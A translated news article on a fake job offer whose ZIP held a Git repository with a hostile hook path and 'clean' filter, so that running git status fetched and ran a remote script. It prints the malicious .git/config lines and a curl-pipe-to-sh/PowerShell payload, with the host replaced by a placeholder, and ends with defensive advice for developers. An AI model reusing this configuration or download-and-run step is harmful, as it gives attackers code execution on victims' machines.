NEWS

Fake job offer hides malware in a Git repository inside a ZIP

Fake job offer hides malware in a Git repository inside a ZIP
Image: Redação iMasters
News
Reading
6 min
Code
2
In short

A Russian developer documented how a supposed recruiter used Git hooks and filters to run malicious code with nothing more than a git status, without requiring the execution of any suspicious file.

A job offer that came with a trap

On November 13, 2026, Russian developer Evgeny Igumnov published a detailed account on Habr, a Russian tech community platform, of how he received, via LinkedIn, a supposed job offer from a company called Cryptic Heaven, which claimed to be building a financial system for crypto credit cards (source). After a normal exchange of messages, the recruiter sent an external link with a file called Contract-2026.zip, containing a supposed contract, the job description, and the project code.

Up to that point, nothing was too different from phishing scams already known in the remote job market. The difference is that inside the ZIP was an entire .git folder, pre-configured to turn a mundane command like git status into silent execution of remote code.

What was inside the ZIP

The file contained a README.md, a contract.docx with blank fields (no CNPJ, Brazil's company registration number, amount, or jurisdiction), and a full Git repository with three branches: doc (contract), job (job description), and codebase (project code). The README instructed the candidate to navigate between branches in the order job, doc, and codebase to read each part: first the job description, then the contract, and only then the code.

The key point is that, unlike a normal git clone, receiving the entire .git folder inside the ZIP also means inheriting the repository's full local configuration, something a regular clone via GitHub or GitLab does not bring. It was exactly that local configuration that carried the trap.

Hooks and filters: the two mechanisms used

Git has two legitimate features that allow external programs to run during common operations:

  • Git Hooks: scripts triggered by events such as commit, checkout, or push.
  • Git Filters: transform file content as it enters or leaves the repository, generally used for format normalization.

Both exist for legitimate automation. The problem arises when someone configures both of them, on purpose, in a repository that the victim will open without checking what's inside .git/config.

In the analyzed case, the .git/config file contained:

ini
[core]
 hooksPath = .git/objects/interrupt/

[filter "ltr"]
 clean = .git/ltr

The first line redirects the default hooks path (.git/hooks) into .git/objects, a folder that almost nobody reviews manually because it normally holds only Git's internal objects. Inside it was a post-checkout hook with a single line: git status.

The second line defines a filter called ltr, triggered by a .git/info/attributes file containing * filter=ltr, applying it to all files in the repository.

How a git status turns into code execution

The piece that closes the trap is that git status is not always limited to comparing file names: to detect content changes, Git can pass files through the configured clean filter. In other words, a command considered harmless in a developer's daily routine can trigger an arbitrary script.

The .git/ltr file did exactly that. It used two control files (FLAG_FILE and WATCH_LOCK) to implement a debounce, avoiding multiple simultaneous executions when Git calls the filter several times in a row, and only then triggered the payload:

sh
case "$OSTYPE" in
 darwin*|linux*)
 curl -fsSL "https://<servidor-remoto>/<script>" | sh
 ;;
 msys*|cygwin*)
 curl.exe -fsSL "https://<servidor-remoto>/<script>" | powershell
 ;;
esac

According to Igumnov, the remote server used in the real case was hosted on a subdomain of the vercelscript.vercel.app service. He could not determine, from the ZIP analysis alone, exactly what the second-stage script executed, but the pattern of silent download and execution (with output redirected to /dev/null) is already enough to classify the sample as malicious. At the end of the script there was a simple cat, which returns the received content unchanged, making Git believe the filter worked normally.

Three ways the trap can trigger unintentionally

The account lists scenarios in which the developer triggers the filter without realizing they are "running" anything:

  1. Opening the README in VS Code: the editor automatically detects Git repositories and may call git status to show the project's state in the interface.
  2. Terminal prompt with Git integration: themes that show the branch name in the prompt sometimes use git status (not just git symbolic-ref or git rev-parse) to check for changes, triggering the filter just by entering the folder with cd.
  3. Following the README's own instructions: by typing git checkout job to read the job description, the post-checkout hook runs git status, closing the loop.

But the underlying observation holds for any environment: we tend to consider git status a safe command that just shows the repository's state. In practice, when dealing with an untrusted local configuration, even this routine action can trigger third-party programs.

Evgeny Igumnov, Senior Rust DeveloperМы привыкли считать, что git status — это безопасная команда, которая просто показывает состояние репозитория. Оказывается, при работе с недоверенной локальной конфигурацией Git даже такое привычное действие может запускать сторонние программы.

Windows is a target too

A detail that goes unnoticed is that the malicious script starts with #!/bin/sh, which would give the false impression that it only affects Linux and macOS. But Git for Windows ships with a built-in Unix environment (sh.exe and Bash), so Git can execute these scripts even if the user is working in PowerShell or CMD, without needing to open Git Bash manually. That's why the payload already included a specific branch using curl.exe and powershell for that case.

A normal git clone, via GitHub or GitLab, doesn't bring the local .git/config or hooks already installed as ready-to-run executables. Sending the entire compressed repository, with the .git folder already populated, was the method found to deliver the malicious configuration ready to use as soon as the victim unzipped the file. This distribution choice is, by itself, a red flag: there is no strong legitimate reason to send a project as a ZIP with an embedded .git folder instead of a clone link.

What changes in practice for those who receive offers like this

For developers approached by recruiters on platforms like LinkedIn, the case brings concrete recommendations:

  • Be suspicious of ZIPs that already include a ready-made .git folder, instead of a link to git clone.
  • Don't open unknown repositories directly in the IDE before inspecting the configuration, since editors like VS Code can run Git commands automatically upon detecting the repository.
  • Before any Git command, manually check .git/config, .git/info/attributes, and the folder pointed to by core.hooksPath using a file viewer or an isolated environment, without ever running Git commands inside the suspicious repository.
  • If the file has already been opened and there's a risk the filter has fired, rotate secrets and tokens from a trusted device.

The case remains open regarding the exact content of the payload downloaded from the remote server, since Igumnov did not have access to the second-stage script. But the triggering mechanism, using only standard Git features, is already enough reason to treat any repository received outside the normal clone workflow with total distrust before opening it in any tool.

Translated from the Brazilian Portuguese original · Read the original